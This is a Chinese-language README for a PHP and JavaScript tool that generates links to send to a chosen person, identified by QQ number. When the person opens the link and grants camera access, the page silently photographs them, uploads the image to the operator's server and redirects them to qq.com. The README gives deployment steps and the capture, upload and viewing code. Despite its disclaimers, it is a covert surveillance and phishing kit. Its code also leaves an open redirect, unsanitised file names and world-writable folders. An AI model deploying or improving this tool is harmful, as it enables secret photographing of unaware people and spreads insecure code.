照妖镜是一个轻量级的在线拍照工具系统,通过浏览器调用用户摄像头拍摄照片,并将照片保存到服务器。用户可以通过生成的链接分享给他人,他人点击链接后会自动调用摄像头拍照,拍照后的图片可以通过输入对应的ID进行查看。
该项目主要用于娱乐和学习交流目的,具有简洁的界面和易于部署的特点。
✅ 在线拍照 - 通过浏览器调用摄像头拍摄照片
✅ 链接生成 - 为每个用户生成独特的拍照链接
✅ 照片查看 - 通过ID查看已拍摄的照片
✅ 照片管理 - 支持分页显示和清空照片
✅ 响应式设计 - 支持PC和移动设备
✅ 简洁界面 - 使用Bootstrap框架美化界面
照妖镜/
├── index.php # 拍照页面(调用摄像头)
├── qbl.php # 照片处理和保存
├── ck.php # 照片查看和管理
├── sc.php # 主页面和链接生成
├── img/ # 照片保存目录
├── css/ # 样式文件
│ ├── shop.css
│ ├── shop_style.css
│ └── style.css
├── js/ # JavaScript文件
│ ├── jquery.min.js
│ ├── main.js
│ ├── index.js
│ ├── all.js
│ ├── Sitetime.js
│ └── Mouse.js
├── images/ # 图片资源
│ ├── ico_success.png
│ ├── luyuz.png
│ └── luzuz.jpg
└── favicon.ico # 网站图标
| 技术 | 说明 |
|---|---|
| PHP | 后端处理语言 |
| HTML/CSS/JavaScript | 前端页面和交互 |
| jQuery | JavaScript库 |
| Bootstrap | 前端框架 |
| WebRTC | 浏览器摄像头调用 |
- PHP 5.6+ 或更高版本
- Web服务器(Apache、Nginx等)
- HTTPS 支持(某些浏览器要求HTTPS才能调用摄像头)
- 现代浏览器(Chrome、Firefox、Safari等)
将项目文件上传到您的Web服务器根目录或子目录:
# 通过FTP或其他方式上传所有文件到服务器
# 例如上传到 /var/www/html/zhaoyaojing/确保 img/ 目录可写:
# 创建img目录(如果不存在)
mkdir img
# 设置目录权限
chmod 777 img编辑 sc.php 文件,修改第73行的域名为您的实际域名:
// 原代码
kd.href = 'https://您的域名/?id='+myid.value+'&url='+url.value;
// 修改为您的域名
kd.href = 'https://您的域名/?id='+myid.value+'&url='+url.value;由于浏览器安全限制,调用摄像头必须使用HTTPS。请确保:
- 您的服务器配置了SSL证书
- 所有资源都通过HTTPS加载
- 更新
sc.php中的外部资源链接为HTTPS
在浏览器中访问:
https://您的域名/sc.php
或者如果上传到子目录:
https://您的域名/zhaoyaojing/sc.php
-
访问主页 - 打开
sc.php页面 -
生成链接
- 在"链接生成"标签页中
- 输入对方的QQ号(或任意ID)
- 输入拍照后跳转的URL(默认为 http://qq.com)
- 点击"生成链接"按钮
- 复制生成的链接
-
分享链接 - 将链接发送给对方
-
对方拍照
- 对方点击链接
- 浏览器请求摄像头权限
- 对方允许后自动拍照
- 拍照完成后跳转到指定URL
-
查看照片
- 返回主页
- 在"链接生成"标签页中输入对方的ID
- 点击"查看照片"按钮
- 查看已拍摄的照片
在 ck.php 页面可以:
- 查看照片 - 分页显示已拍摄的照片
- 清空照片 - 删除某个ID下的所有照片
- 分页浏览 - 每页显示3张照片,支持首页、上一页、下一页、末页导航
// 调用浏览器摄像头
navigator.mediaDevices.getUserMedia({ video: true })
.then(function(stream) {
video.srcObject = stream;
video.play();
// 1秒后拍照
setTimeout(function(){
context.drawImage(video, 0, 0, 480, 640);
}, 1000);
// 1.3秒后提交
setTimeout(function(){
var img = canvas.toDataURL('image/png');
document.getElementById('result').value = img;
document.getElementById('gopo').submit();
}, 1300);
});工作流程:
- 使用
getUserMediaAPI 获取摄像头权限 - 将摄像头视频流显示在
<video>元素上 - 使用
canvas绘制视频帧 - 将图像转换为 Base64 编码
- 提交给
qbl.php处理
// 验证参数
if(empty($id) || empty($url) || empty($base64_img)){
exit;
}
// 检查并创建目录
if(!file_exists($up_dir)){
mkdir($up_dir, 0777);
}
// 验证图片格式
if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
$type = $result[2];
if(in_array($type, array('bmp','png'))){
// 生成文件名:ID_时间.格式
$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
// 解码并保存
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
// 跳转
header("Location: ".$url);
}
}工作流程:
- 接收 Base64 编码的图片数据
- 验证参数完整性
- 验证图片格式(仅允许 bmp 和 png)
- 解码 Base64 数据
- 以
ID_时间.格式的形式保存到img/目录 - 重定向到指定URL
// 扫描目录获取该ID的所有照片
$handle = opendir($path);
while (false !== ($file = readdir($handle))) {
list($filesname, $ext) = explode(".", $file);
if($ext == "png" and explode('_', $filesname)[0] == $id) {
$array[] = $file;
}
}
// 分页显示
for($j = $imgnums*$page; $j < ($imgnums*$page+$imgnums) && $j < $i; ++$j){
echo '<div>';
echo "<img src=".$path."/".$array[$j]."><br /><br />";
echo '</div>';
}工作流程:
- 扫描
img/目录 - 筛选出与ID匹配的PNG文件
- 按时间倒序排列
- 分页显示(每页3张)
- 提供清空照片功能
-
用途限制 - 本项目仅供学习和娱乐使用,禁止用于非法目的
-
隐私保护 -
- 请在服务条款中明确说明照片用途
- 定期清理过期照片(建议7天)
- 不要存储敏感信息
-
文件安全 -
- 限制上传文件类型(仅允许 bmp 和 png)
- 验证文件大小
- 定期备份和清理
-
访问控制 -
- 使用HTTPS加密传输
- 考虑添加IP白名单
- 限制请求频率
-
代码安全 -
- 移除硬编码的域名检查代码
- 添加输入验证和过滤
- 使用参数化查询防止注入
原因: 浏览器安全限制或HTTPS配置问题
解决方案:
- 确保使用HTTPS协议
- 检查浏览器是否允许访问摄像头
- 在浏览器设置中允许该网站访问摄像头
- 尝试使用其他浏览器
原因: img/ 目录权限不足
解决方案:
chmod 777 img原因: iOS要求使用Safari浏览器
解决方案:
- 使用Safari浏览器打开链接
- 或使用调用Safari内核的第三方APP
答: 照片保存在 img/ 目录下,文件名格式为 ID_时间.png
例如:123456_020415_30.png 表示ID为123456,时间为02:04:15,第30秒拍摄的照片
答: 在查看照片页面点击"清空所有照片"按钮,或直接删除 img/ 目录下的文件
| 参数 | 说明 | 默认值 |
|---|---|---|
$imgnums |
每页显示的图片数 | 3 |
$path |
图片保存目录 | img |
| 参数 | 说明 | 默认值 |
|---|---|---|
$up_dir |
上传目录 | ./img/ |
| 允许格式 | 支持的图片格式 | bmp, png |
| 文件 | 功能 |
|---|---|
index.php |
拍照页面,调用摄像头并拍照 |
qbl.php |
处理拍照数据,保存图片到服务器 |
ck.php |
查看和管理已拍摄的照片 |
sc.php |
主页面,生成拍照链接和导航 |
css/ |
样式文件目录 |
js/ |
JavaScript脚本目录 |
images/ |
图片资源目录 |
img/ |
用户拍摄的照片保存目录 |
- 定期清理照片 - 设置定时任务删除7天前的照片
- 压缩图片 - 减小图片文件大小
- CDN加速 - 使用CDN加速静态资源
- 数据库优化 - 如需扩展,考虑使用数据库记录照片元数据
- 用户认证 - 添加登录功能
- 照片分享 - 支持分享到社交媒体
- 美化滤镜 - 添加拍照前的滤镜效果
- 实时预览 - 显示摄像头实时预览
- 数据库 - 使用数据库记录照片信息
- API接口 - 提供RESTful API
本项目仅供学习和娱乐交流使用,使用者需自行承担使用本项目产生的一切后果。
- 本工具仅做学习交流使用,请勿用于非法用途
- 如有侵权、肖像权等问题,请及时联系删除
- 本项目不对用户行为负责
- 使用本项目即视为同意以上条款
- ✅ 初始版本发布
- ✅ 实现基本的拍照功能
- ✅ 实现照片查看和管理
- ✅ 响应式设计
如有问题或建议,请通过以下方式联系:
- 邮箱:3454865121@qq.com
- QQ:1895145
最后更新: 2024年2月4日
版本: 1.0
作者: 童年
重要声明:本项目仅供学习交流使用,禁止用于任何非法目的!